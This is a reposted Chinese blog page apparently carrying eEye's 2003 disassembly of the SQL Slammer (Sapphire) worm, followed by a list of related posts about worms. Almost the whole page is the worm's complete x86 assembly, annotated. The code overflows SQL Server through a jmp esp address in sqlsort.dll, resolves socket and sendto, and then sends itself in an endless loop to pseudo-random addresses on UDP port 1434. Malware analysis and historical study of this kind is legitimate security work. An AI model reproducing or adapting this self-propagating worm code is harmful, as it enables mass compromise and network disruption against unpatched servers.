2003蠕虫王反汇编代码

转载 2006年05月20日 18:50:00

;SAPPHIRE WORM CODE DISASSEMBLED
;eEye Digital Security: January 25, 2003


        push    42B0C9DCh       ; [RET] sqlsort.dll -> jmp esp
                mov     eax, 1010101h   ; Reconstruct session, after the overflow the payload buffer
                                        ; get s corrupted during program execution but before the
                                        ; payload is executed. .
                xor     ecx, ecx
                mov     cl, 18h

FIXUP:
                push    eax
                loop    FIXUP
                xor     eax, 5010101h
                push    eax
                mov     ebp, esp
                push    ecx           
                push    6C6C642Eh
                push    32336C65h
                push    6E72656Bh       ; kernel32
                push    ecx
                push    746E756Fh       ; GetTickCount
                push    436B6369h
                push    54746547h
                mov     cx, 6C6Ch
                push    ecx
                push    642E3233h       ; ws2_32.dll
                push    5F327377h
                mov     cx, 7465h
                push    ecx
                push    6B636F73h       ; socket
                mov     cx, 6F74h
                push    ecx
                push    646E6573h       ; sendto
                mov     esi, 42AE1018h  ; IAT from sqlsort
                lea     eax, [ebp-2Ch]  ; (ws2_32.dll)
                push    eax
                call    dword ptr [esi] ; call loadlibrary
                push    eax
                lea     eax, [ebp-20h]
                push    eax
                lea     eax, [ebp-10h]  ; (kernel32.dll)
                push    eax
                call    dword ptr [esi] ; loadlibrary
                push    eax
                mov     esi, 42AE1010h  ; IAT from sqlsort
                mov     ebx, [esi]
                mov     eax, [ebx]
                cmp     eax, 51EC8B55h  ; check entry point fingerprint
                jz      short VALID_GP  ; Check entry point fingerprint for getprocaddress, if it failes
                                        ; fall back to GetProcAddress entry in another DLL version.
                                        ; Undetermined what dll versions this will succedd on. Due
                                        ; to the lack of reliable importing this may not work across all
                                        ; dll versions.
                mov     esi, 42AE101Ch  ; IAT entry -> 77EA094C

VALID_GP:                            
                call    dword ptr [esi] ; GetProcAddress
                call    eax             ; return from GetProcaddress = GetTickCount entrypoint
                xor     ecx, ecx
                push    ecx
                push    ecx
                push    eax
                xor     ecx, 9B040103h
                xor     ecx, 1010101h
                push    ecx             ; 9A050002 = port 1434 / AF_INET
                lea     eax, [ebp-34h]  ; (socket)
                push    eax
                mov     eax, [ebp-40h]  ; ws2_32 base address
                push    eax
                call    dword ptr [esi] ; GetProcAddress
                push    11h
                push    2
                push    2
                call    eax             ; socket
                push    eax
                lea     eax, [ebp-3Ch]  ; sendto
                push    eax
                mov     eax, [ebp-40h]  ; ws2_32 base address
                push    eax
                call    dword ptr [esi] ; GetProcAddress
                mov     esi, eax        ; save sendto -> esi
                or      ebx, ebx       
                xor     ebx, 0FFD9613Ch

PRND:                                
                mov     eax, [ebp-4Ch]  ; Pseudo Random Algorithm Start
                lea     ecx, [eax+eax*2]
                lea     edx, [eax+ecx*4]
                shl     edx, 4
                add     edx, eax
                shl     edx, 8
                sub     edx, eax
                lea     eax, [eax+edx*4]
                add     eax, ebx        ; Pseudo Random Algorithm End
                mov     [ebp-4Ch], eax
                push    10h
                lea     eax, [ebp-50h]
                push    eax
                xor     ecx, ecx
                push    ecx
                xor     cx, 178h
                push    ecx
                lea     eax, [ebp+3]
                push    eax
                mov     eax, [ebp-54h]
                push    eax
                call    esi             ; sendto
                jmp     short PRND    ; Jump back to Pseudo Random Algorithm Start 

2003蠕虫王反汇编代码

;SAPPHIRE WORM CODE DISASSEMBLED;eEye Digital Security: January 25, 2003        push    42B0C9DCh   ...
  • iiprogram
  • iiprogram
  • 2006年12月20日 17:06
  • 1515

防范勒索蠕虫病毒入侵,3分钟教你快速关闭高危端口445!

“永恒之蓝”的外衣是多么的美妙,“勒索蠕虫病毒”的内在是多么的丑陋!...
  • Summer_Hanson
  • Summer_Hanson
  • 2017年05月16日 10:47
  • 1388

《浅谈用极大化思想解决最大子矩形问题》

《浅谈用极大化思想解决最大子矩形问题》
  • starcuan
  • starcuan
  • 2014年02月01日 14:43
  • 854

mysql蠕虫复制

INSERT into user_info(version,create_user_count,create_pc_count) select version,create_user_count,cr...
  • dengfei00100
  • dengfei00100
  • 2016年04月05日 14:23
  • 620

蠕虫病毒编写技术

 现在蠕虫病毒泛滥,网络安全越来越受到威胁,其实主要方面是一是国内人员技术水平的提高,二是相关技术公开程度也越来越高,其实现在的蠕虫病毒大多属于文件病毒,相关技术也比较简单,本意在于揭开病毒的面纱,了...
  • iiprogram
  • iiprogram
  • 2008年04月16日 22:02
  • 1342

渗透测试笔记:爬虫变蠕虫的故事

写这篇文,主要想以日记的形式记录下我在整个测试(gongji)过程中的 心路历程、所用技术、填的坑等等。。 为了让文章显得不那么呆板,不那么流水,我尽量使用一些文艺点的词汇。 9月份的广州,一天...
  • qq_30123355
  • qq_30123355
  • 2016年09月07日 20:04
  • 1533

XSS学习笔记(六)-XSS蠕虫

3.XSS蠕虫 对于XSS蠕虫,无非就是在客户端提交的时候绕过过滤和转义,可以在继续在浏览器端执行的js 等代码,这里提供几种加密方式: 原型:alert(XSS) URL En...
  • zhx278171313
  • zhx278171313
  • 2014年04月28日 09:56
  • 1828

蠕虫和病毒的区别

蠕虫(worm)和病毒(virus)都是试图在计算机中传播他们自己的代码。但蠕虫可以自己运行,并且能够将一个完全有效的自己传播到其他机器。病毒能够将自己添加到包括操作系统在内的其他程序中,但它不能独立...
  • normalnotebook
  • normalnotebook
  • 2006年05月28日 11:07
  • 3360

Morris病毒

Morris病毒由Robert Morris于1988年编写,
  • ston1992110
  • ston1992110
  • 2014年04月20日 22:30
  • 871

莫里斯蠕虫

它的编写者是美国康乃尔大学一年级研究生罗特·莫里斯。这个程序只有99行,利用了Unix系统中的缺点,用Finger命令查联机用户名单,然后破译用户口令,用Mail系统复制、传播本身的源程序,再编译生成...
  • wql19881207
  • wql19881207
  • 2012年05月29日 22:47
  • 3299
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:2003蠕虫王反汇编代码
举报原因:
原因补充:

(最多只允许输入30个字)